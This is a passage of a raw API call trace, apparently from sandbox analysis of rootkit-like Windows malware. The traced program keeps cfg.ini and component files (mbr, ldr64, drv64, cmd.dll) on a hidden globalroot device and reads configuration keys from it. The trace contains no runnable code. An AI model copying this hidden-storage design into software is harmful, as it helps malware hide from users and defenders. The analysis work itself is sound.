_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.022] KeEnterCriticalRegion () [0129.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] KeLeaveCriticalRegion () [0129.022] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.022] KeEnterCriticalRegion () [0129.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.022] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.022] IdePortDispatch () returned 0x103 [0129.022] KeWaitForMutexObject () returned 0x0 [0129.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] KeLeaveCriticalRegion () [0129.022] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.022] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.022] KeEnterCriticalRegion () [0129.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b84000 [0129.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.022] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.022] IdePortDispatch () returned 0x103 [0129.023] KeWaitForMutexObject () returned 0x0 [0129.023] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.023] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.023] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.023] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.023] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.023] IdePortDispatch () returned 0x103 [0129.023] KeWaitForMutexObject () returned 0x0 [0129.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.023] KeLeaveCriticalRegion () [0129.023] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.024] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.024] KeEnterCriticalRegion () [0129.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] KeLeaveCriticalRegion () [0129.024] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.024] KeEnterCriticalRegion () [0129.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.024] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] KeLeaveCriticalRegion () [0129.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.024] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.024] KeEnterCriticalRegion () [0129.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] KeLeaveCriticalRegion () [0129.024] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.024] ReleaseMutex (hMutex=0xf0) returned 1 [0129.024] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.024] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.024] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.024] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.024] KeEnterCriticalRegion () [0129.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.024] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.024] IdePortDispatch () returned 0x103 [0129.025] KeWaitForMutexObject () returned 0x0 [0129.025] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.025] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.025] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.025] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.025] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.025] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.025] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.025] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.025] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.025] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.025] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.025] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.025] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.025] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.025] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.025] KeLeaveCriticalRegion () [0129.025] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.025] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.025] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.025] KeEnterCriticalRegion () [0129.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.025] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.026] IdePortDispatch () returned 0x103 [0129.026] KeWaitForMutexObject () returned 0x0 [0129.026] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.026] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.026] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.026] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.026] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.026] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.026] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.026] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.026] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.026] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.026] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.026] KeLeaveCriticalRegion () [0129.026] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.026] ReleaseMutex (hMutex=0x100) returned 1 [0129.026] Sleep (dwMilliseconds=0x2bf20) [0129.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x701a2470, dwHighDateTime=0x1d24fa4)) [0129.033] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.033] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.033] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.033] KeEnterCriticalRegion () [0129.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.033] IdePortDispatch () returned 0x103 [0129.033] KeWaitForMutexObject () returned 0x0 [0129.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.034] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.034] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.034] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.034] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.034] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01320 [0129.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.034] KeLeaveCriticalRegion () [0129.034] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.034] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.034] KeEnterCriticalRegion () [0129.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.034] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.034] KeLeaveCriticalRegion () [0129.034] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.034] KeEnterCriticalRegion () [0129.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.034] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.034] IdePortDispatch () returned 0x103 [0129.034] KeWaitForMutexObject () returned 0x0 [0129.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.034] KeLeaveCriticalRegion () [0129.034] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.035] KeEnterCriticalRegion () [0129.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b87000 [0129.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.035] IdePortDispatch () returned 0x103 [0129.035] KeWaitForMutexObject () returned 0x0 [0129.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.035] IdePortDispatch () returned 0x103 [0129.035] KeWaitForMutexObject () returned 0x0 [0129.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.035] KeLeaveCriticalRegion () [0129.035] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.036] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.036] KeEnterCriticalRegion () [0129.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] KeLeaveCriticalRegion () [0129.036] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.036] KeEnterCriticalRegion () [0129.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] KeLeaveCriticalRegion () [0129.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.036] KeEnterCriticalRegion () [0129.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] ExFreePoolWithTag (P=0xfffffa8003c01320, Tag=0x0) [0129.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.036] KeLeaveCriticalRegion () [0129.036] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.036] ReleaseMutex (hMutex=0xf0) returned 1 [0129.036] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.036] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.036] KeEnterCriticalRegion () [0129.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.037] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.037] IdePortDispatch () returned 0x103 [0129.037] KeWaitForMutexObject () returned 0x0 [0129.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.037] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.037] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.037] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.037] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.037] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02120 [0129.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.037] KeLeaveCriticalRegion () [0129.037] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.037] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.037] KeEnterCriticalRegion () [0129.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.037] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.038] KeLeaveCriticalRegion () [0129.038] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.038] KeEnterCriticalRegion () [0129.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.038] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.038] IdePortDispatch () returned 0x103 [0129.038] KeWaitForMutexObject () returned 0x0 [0129.038] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.038] KeLeaveCriticalRegion () [0129.038] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.038] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.038] KeEnterCriticalRegion () [0129.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b88000 [0129.038] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.038] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.038] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.038] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.038] IdePortDispatch () returned 0x103 [0129.038] KeWaitForMutexObject () returned 0x0 [0129.039] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.039] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.039] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.039] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.039] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.039] IdePortDispatch () returned 0x103 [0129.039] KeWaitForMutexObject () returned 0x0 [0129.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.039] KeLeaveCriticalRegion () [0129.039] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.039] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.039] KeEnterCriticalRegion () [0129.039] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.039] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.039] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.039] KeLeaveCriticalRegion () [0129.040] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.040] KeEnterCriticalRegion () [0129.040] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.040] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.040] 